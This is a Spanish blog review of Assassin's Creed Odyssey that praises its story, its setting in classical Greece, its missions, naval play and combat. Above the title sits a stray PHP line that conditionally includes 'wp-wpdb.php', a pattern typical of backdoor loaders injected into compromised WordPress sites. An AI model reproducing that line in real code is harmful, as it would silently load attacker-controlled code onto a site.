if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Assassin’s Creed Odyssey – La Fortaleza de LeChuck

Análisis Assassin’s Creed Odyssey

Cómo ha cambiado Assassin’s Creed desde sus inicios. A lo largo de estos años, ha sufrido numerosos altibajos que hacían perder la fe en la saga, pero consiguió recuperar el norte buceando en una nueva jugabilidad y explorando nuevos horizontes. En su última entrega, Assassin’s Creed: Odyssey nos lleva a la Grecia de la antigüedad en un título tan grande como apasionante.

La saga Assassin’s Creed lleva más de una década acompañándonos. Durante todo este lapso, no han sido pocos los juegos lanzados. De hecho, si nos ponemos a contar, entre la serie principal y los spin-offs suman un total de 19 entregas. Sin embargo, y como sucede en toda serie famosa, el lore se ha expandido más allá de los videojuegos y han visto la luz varias novelas y películas. El punto en común de toda la obra es el Animus, una máquina de tecnología punta que permite recrear la memoria de un sujeto y revivir su pasado. Así hemos emprendido multitud de viajes por diversas épocas históricas encarnando a un buen puñado de protagonistas. Asimismo, con el paso de los años, la jugabilidad se ha ido adaptando a las nuevas tendencias.

Los títulos de acción/aventuras han sobrepasado esa delgada línea con los RPGs. Los jugadores cada vez son más exigentes y demandan innovaciones a todos los niveles, por esta razón las sagas longevas inician una evolución natural hacia el rol. Sin ir más lejos, solo hay que echar un vistazo a las implementaciones de Assassin’s Creed: Origins y compararlas con Assassin’s Creed: Odyssey, donde contemplamos un paso más en el nuevo camino establecido en la entrega anterior, la cual ya tomaba como referencia grandes del género como The Witcher 3. Y le ha sentado bien, pero que muy bien.

Tengo que confesar que hay dos cosas que me entraron por los ojos con Assassin’s Creed Odyssey, la primera fue Kassandra, la coprotagonista femenina del juego, a la que le encuentro un enorme atractivo parecido con mi eterno amor Cassandra de Dragon Age: Inquisition (¡si hasta tienen el mismo nombre!). La otra, la ambientación: la Grecia clásica me resulta apasionante desde que estudié en mis años mozos filosofía, historia del arte y griego.

Aún así no estaba del todo segura de hacerme con el título. Mis acercamientos a la saga no habían sido del todo satisfactorios debido a su jugabilidad limitada. ¡De perdidos al río! me dije, y el día de lanzamiento le eché el guante, y no me arrepiento. Tras varias horas tanteando el juego, percibí que no se sentía como en un Assassin’s Creed. Era como un compendio de juegos de rol populares construido bajo la maravillosa ambientación helénica. Pero lo más importante es que cumplía con los requisitos que hacen popular al género: buena trama y  jugabilidad a raudales. En conjunto, me pareció que tenía el equilibrio perfecto entre historia y combate. Otra de las cuestiones que Assassin’s Creed tenía sobre la mesa era aportar carisma al personaje principal, y que este se desenvolviera correctamente con otros personajes interesantes. Y de nuevo volvió a sorprenderme. Por fin la ambientación y trama fluían unidas.

Los diálogos del juego son frescos e interesantes y dan mucha fuerza a la trama

La verdad es que no iba con grandes expectativas cuando adquirí Assassin’s Creed Odyssey, pero a los pocos minutos me enganchó la historia. Los protagonistas del juego son Kassandra y Alexios; el jugador tiene que decantarse por uno, pero independientemente de quién sea el elegido, ambos harán girar la historia. Hay que decir que no estamos ante un héroe benevolente que desea ayudar al prójimo, sino que somos un mercenario que sobrevive para cumplir su venganza dentro de una Grecia que acaba de descubrir la democracia, pero que aún está lejos de ser el sistema perfecto.

El periodo histórico tiene gran repercusión en los hechos del título: estamos en plena Guerra del Peloponeso, aproximadamente en el 429 A.C. Por lo tanto, Atenas y Esparta están en plena guerra. También supone la última etapa dorada de Atenas con Pericles como su máximo representante. Bajo este marco real, el juego ha sabido adaptar los hechos ficticios de nuestros personajes con bastante acierto. Posiblemente esta perfecta unión es lo que más me ha entusiasmado del título, y es que no todos los días se viaja junto al historiador Herodoto por la Grecia del siglo V a.C, o se mantienen conversaciones surrealistas con Sócrates. Este es solo un pequeño ejemplo de las grandes figuras con las que compartiremos momentos irrepetibles.

Es verdaderamente difícil condensar todos los acontecimientos destacados de los libros de historia en un juego, sin embargo Assassin’s Creed ha hecho todo lo posible por relatar la mayor parte de ellos sin resultar tedioso. Por ejemplo, cuando me acercaba a una localización de gran importancia histórica, Kassandra lanzaba algún pequeño comentario de un hecho pasado o reciente. De Atenas mencionó -como no podía ser de otra manera- que era la cuna de la democracia. Aunque el momento más emocionante fue cuando desembarqué en las Termópilas, lugar donde 300 espartanos dieron la vida para impedir el avance de los persas. Allí, desde nuestro barco, un miembro de la tripulación miraba a la gran estatua del León dedicada Leónidas mientras tocaba las primeras notas de una canción homenaje al gran héroe de Esparta. Para los jugadores que deseen zambullirse aún más en la historia antigua, con nuestro avance iremos acumulando en el mapa puntos con información de aquel periodo.

Assassin’s Creed es un juego donde siempre tendremos algo que hacer dentro de ese enorme mapa que abruma con solo echarle un vistazo rápido. Tenemos total libertad de movimiento en el territorio dividido en grandes regiones e islas. Dentro del mapa del juego, disfrutaremos de misiones principales, secundarias y contratos. Las misiones de la historia principal son numerosas y variadas, y se engloban bajo la etiqueta»Odisea«, algo que le viene como anillo al dedo, ya que emprenderemos un largo viaje lleno de desafíos como vivió Odiseo. Estas misiones han sido diseñadas con el objetivo de que nos lancemos por tierra y por mar a lo largo de toda la geografía. Por este motivo, no recomiendo embarcarse por zonas donde no se nos requiere, o dicho de otra forma: no debemos entrar en la dinámica obsesivo-compulsiva de intentar desbloquear áreas y dejarlas «limpias». Si hacemos esto, solo nos producirá agobio y recibiremos palizas de escándalo por no pertenecer a nuestro nivel, o algo todavía peor: misiones secundarias que acaban de forma precipitada y poco memorable.

La misión principal se combina con las secundarias, así que no podremos envalentonarnos y hacer del tirón todas las principales. En algunos momentos será necesario hacer secundarias de personajes en apuros para avanzar en la trama. Estas misiones son mucho más que «recados», implican diálogo e investigación y, además, muchas pertenecen a personajes ilustres. Nos encontraremos con trabajos de investigación en escenas del crimen donde recopilaremos pistas e interrogaremos sospechosos, también iremos a la caza de maleantes o incluso se demandará nuestra asistencia en fiestas con el fin de sacar información a invitados de mucho nivel en aquel periodo. Pero tranquilos, no faltarán las clásicas de asaltos a fortalezas para liberar cautivos o robos sin dejar ni rastro. En muchas ocasiones, principales y secundarias forman un tandem donde se diluye esa división tan típica de peso en la trama. El frecuente uso de flashbacks y giros de guion aportan una fuerza narrativa feroz, que combinada con las decisiones morales a manos del jugador, ponen la guinda a la historia de Assassin’s Creed Odyssey. Sinceramente, solo tengo halagos al tratamiento tan brillante que han hecho en este apartado.

Otra novedad más al carro «errepejero» son los romances. Pues sí, amigos, el amor ha llegado a Assassin’s Creed. A lo largo y ancho del mundo griego diversos seres estarán deseosos de retozar en nuestra alcoba. Pero siento desilusionaros, los amoríos no tendrán un desarrollo tan amplio como en los juegos de Bioware, quizá serían comparables con los de Fallout. Es decir, ponemos en nuestro punto de mira ese bellezón que nos ronda, le soltamos una frase de ligoteo y tras finalizar la misión que nos encomienda puede caer en nuestros brazos. Una sesión de sexo rápido a puerta cerrada después, nos despediremos y a otra cosa mariposa. Algunos tienen una extensión más larga, pero no nos echaremos pareja como tal. Somos un misthios libre como un pajarillo que deja un amor en cada puerto. Seguramente, y de cara a futuras entregas, trabajen más este aspecto pero como primera aproximación me ha gustado. A destacar el romance con Kira, ya que implica varias misiones y citas antes de la despedida.

Cuando un NPC sea «romanceable» aparecerá delante de la frase el icono de un corazón. Ambos protagonistas tendrán las mismas posibilidades

La jugabilidad de Assassin’s Creed: Odyssey ha sido otro de los factores decisivos para su buena recepción. El personaje trepa, salta, se lanza al vacío, nada, bucea y cabalga por lugares inimaginables. No hay apenas restricciones. Allí donde hallaba un trozo de tierra o de mar, mi intrépida Misthios se lanzaba. Sin peligro de muerte. Esta total libertad de acción sin duda favorece al entretenimiento, y también a la exploración. Cada rincón está diseñado para saltar sin tocar el suelo, así podremos infiltrarnos en fortalezas sin ser detectados, por ejemplo. Por otro lado, hay muchas cuevas y grutas marinas con túneles serpenteantes para explorar. Quizá encontremos secretos olvidados de algún naufragio, o un cofre rodeado de algunos animales salvajes. Para no matarnos a buscar, disponemos del águila Icaro, nuestro fiel amigo que detecta enemigos, puntos de interés y objetos de valor desde las alturas. Con los saltos al estilo parkour y el buceo por cuevas de secretos de otro tiempo, me sentía totalmente sumida en el mundo del juego.

Podemos asesinar sin llamar la atención, o bien noquear.

No hay que olvidar que también disponemos de transporte marítimo: nuestro estupendo barco de batalla. Porque sería una locura ir de isla a isla a nado, y no es muy recomendable usar las lentas barcazas que aguardan en los puertos. Un enorme trirreme con su respectiva tripulación estará a nuestro servicio para surcar los mares a todo trapo. El diseño exterior es totalmente configurable, al igual que la apariencia de la tripulación. Podemos tener atenienses, espartanos, bandidos… Existe también la posibilidad de reclutar nuevos miembros durante la aventura para tener un buen catálogo de lugartenientes, estos aportaran poder de ataque y defensa a nuestro barco. Yo puse que todas fueran amazonas duras como rocas, y quien osaba desafiarnos comía nuestras flechas de fuego y poco después sucumbía en nuestros letales abordajes. Y tras la victoria, cantábamos canciones marineras hasta el amanecer. Este añadido de otras entregas me ha parecido otra idea brillante.

Acabar con otros barcos nos hará ganar suculentos botines

Antes de meternos en el plato fuerte del juego, quiero dejar unas pinceladas sobre el sistema de combate. Assassin’s Creed es un juego de acción en tiempo real. Disponemos de tres árboles de habilidades: ataques a larga distancia con arco, técnicas cuerpo a cuerpo y sigilo. Algunas son pasivas y otras se equipan en los diferentes botones. Es así como podremos ejecutar golpes y combinaciones brutales. Aunque si preferís pasar inadvertidos, el sigilo sigue estando muy presente. Y ahí no acaba la cosa, relacionado con este apartado tenemos batallas campales al estilo For Honor, apúntate a apoyar a Atenas o Esparta en las Conquistas. En todos los enfrentamientos que se te presenten, nunca irás falto de arsenal, puesto que hay un gran número de armas, armaduras y mejoras gracias a las montañas de loot que dejan los enemigos. Solo te queda decidir cómo quieres luchar.

Esparta o Atenas. En las Conquistas puedes elegir el bando al que derrotar en auténticas batallas campales

Me he dejado lo mejor del título para el final, y no es otra cosa que la ambientación. Los parajes de Assassin’s Creed Odyssey son puramente de ensueño. El estudio ha contado con un grupo de expertos para recrear el mundo helénico y el resultado es simplemente espectacular. Me quedé sin palabras la primera vez que puse un pie en Atenas. Ya desde la lejanía la imagen de la ciudad presidida por el Acrópolis evocaba las leyendas de dioses y héroes. Recuerdo callejear por la polis griega esperando desbloquear todos los puntos históricos mientras ponía rumbo a la gran escalinata que me llevaría hasta el imponente Partenón. Allí me esperaba la habitual atalaya y unas vista gloriosas. El mundo del juego se siente en constante movimiento, con sus gentes trabajando las tierras o festejando al lado de un músico callejero. En los edificios religiosos observaremos los rezos y oraciones de los creyentes, y si nos vamos al gimnasio cercano nos rodearemos de deportistas entrenando. ¿Y qué tal si nos acercamos a algún teatro para ver las representaciones de los grandes dramaturgos? Quizá tengamos suerte y nos topemos con Aristófanes.

No importa el momento del día, Atenas se ve preciosa

Otro ejemplo de la exactitud en la recreación de la Grecia de la antigüedad lo tenemos en el precioso Templo de Apolo en Delfos, donde se dice que había un oráculo que recibía visitas de individuos de todos los puntos del país. Por curiosidad comparé el mapa del complejo del juego con el real de la Wikipedia y el parecido era extraordinario. Incluso el juego recoge con destreza muchos de los hechos que allí se sucedían según los documentos conservados. Lejos de las polis, también pude sentir el aroma de aquel tiempo cuando cabalgaba por los montes y divisaba edificaciones y grandes estatuas en el horizonte. Ver los primeros detalles de esas obras provocaban en mi interior un deseo de exploración irrefrenable que hacía que me desviara de mi rumbo cada dos por tres. Resumiendo: el nivel de detalle de cada ubicación y el apartado audiovisual hacen que el juego sea una delicia para los sentidos. Estamos -posiblemente- ante la aproximación más realista de la Grecia clásica en un videojuego.

Me he dejado muchas cosas por contar, pero es que Assassin’s Creed: Odyssey tiene tanto contenido que es imposible condensarlo en un solo análisis. Si comenzáis vuestra propia odisea, descubriréis que todas las novedades hacen del juego una experiencia divertidísima. Me alegra ver que Ubisoft por fin ha tomado las riendas de su saga y ha estado a la altura de un periodo histórico fascinante.

Sigo aún felizmente perpleja por el viraje que ha adoptado Assassin’s Creed y deseo que de cara al futuro siga ahondando en este nuevo género lleno de posibilidades. Para terminar, solo me queda recomendaros Assassin’s Creed Odyssey, un título que cautiva por su ambientación y la narrativa dentro de la Hélade, con sus obras, batallas, mitos y maestros del pensamiento.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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